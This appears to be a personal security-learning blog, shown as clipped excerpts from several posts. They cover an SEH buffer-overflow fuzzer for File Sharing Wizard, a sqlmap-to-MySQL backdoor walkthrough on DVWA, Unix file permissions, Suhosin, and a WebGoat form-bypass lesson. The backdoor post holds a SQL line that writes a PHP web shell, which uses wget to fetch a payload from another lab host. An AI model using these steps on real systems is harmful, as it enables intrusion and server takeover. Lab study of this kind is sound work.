Learning

This time I will   tell you about   buffer   overflow   that occurs   in the File   Sharing   Wizard  application, this firs time I learn about buffer overflow. we 'll   get a   buffer   overflow   when   we   send  to that aplication  2000   bytes of data, this the sample fuzzer with python  : import socket import sys ips = '192.168.56.101' port = 80 string = "A" * 2000 print "[!] Launching Remote BoF on", ips,",hang on tight!" s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: connect=s.connect((ips, port)) except: print "[-] Oops! Cannot establish connection..\r\n" sys.exit(1) print "[*] Sending evil payload..\r\n" print "[*] Done! Check your debugger.." payload = ( 'HEAD %s HTTP/1.0\r\n' '\r\n') % (string) s.send(payload) s.close() whit that fuzzer aplication will crash but EIP not overwrite bicause this aplication protected whit SEH, we can see that with SEH chain menu in debugger : ...

To create backdoor from sql injection, the web must be vulnerable with sql injection. then we find the password for mysql database, that can be do with some tecnique, like social enginering or scanning with sqlmap, for exemple : root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=&Submit=Submit" --cookie="Cookie: security=high; PHPSESSID=5c0eecdbcf2a5acdee16c2b389be67e4" --password after we got the password, now we enter to mysql with the following sintax: root@bt:/pentest/database/sqlmap# mysql -h [host ip] -u root -p  then press enter and input the password we got. now we on my sql shell, and from here we can create database and create backdoor. this sample sintax to download backdoor from other web : mysql> select "<? system('wget 192.168.56.1/cn.txt -O bar.php'); ?>" into dumpfile '/opt/lampp/htdocs/dvwa/bad.php' --; Query OK, 1 row affected (0.00 sec) now we ...

Most current file systems have methods of administering permissions or access rights to specific users and groups of users. These systems control the ability of the users affected to view or make changes to the contents of the filesystem. Traditional Unix permissions Permissions on Unix-like systems are managed in three distinct classes . These classes are known as user , group , and others . In effect, Unix permissions are a simplified form of access control lists (ACLs). When a new file is created on a Unix-like system, its permissions are determined from the umask of the process that created it. Classes Files and directories are owned by a user. The owner determines the file's owner class . Distinct permissions apply to the owner. Files and directories are assigned a group, which define the file's group class. Distinct permissions apply to members of the file's group members. The owner doesn't need to be a member of the file's group. Users who are not the...

Suhosin is an advanced protection system for PHP installations. It was designed to protect servers and users from known and unknown flaws in PHP applications and the PHP core. Suhosin comes in two independent parts, that can be used separately or in combination. The first part is a small patch against the PHP core, that implements a few low-level protections against bufferoverflows or format string vulnerabilities and the second part is a powerful PHP extension that implements all the other protections. Suhosin is an open source patch for PHP. "The goal behind Suhosin is to be a safety net that protects servers from insecure PHP coding practices." In some Linux distributions (notably Debian and Ubuntu) it is shipped by default. why is suhosin called suhosin ? According to some blog entries a few korean people are kinda suprised about the name. They wonder why a german developer has choosen a korean word for his project’s name. The reason for this is very simp...

This time I learn about Bypass HTML Field Restrictions. I bypass the html form . In order to pass this lesson , I must submit the form with each field containing the value of unallowed . I have to submit an invalid value for all six fields in one delivery form provided . that is : select field which has two choices , radio button which has two choices , input field which retricted to 5 character, and disableinput field with a form that can not be filled . And this some way that I have tried to bypass it : First I submibt that form as usual and I did not find any change Then I tried to intercept request by webscarab, I change values that not provided there. but I not find any changes too. I studied again after it there are only 5 fields in the request when the procedure mentioned there are 6 fields . then I add a new field that is itself disableinput field , the parameter I get from the source web page . but I not find ...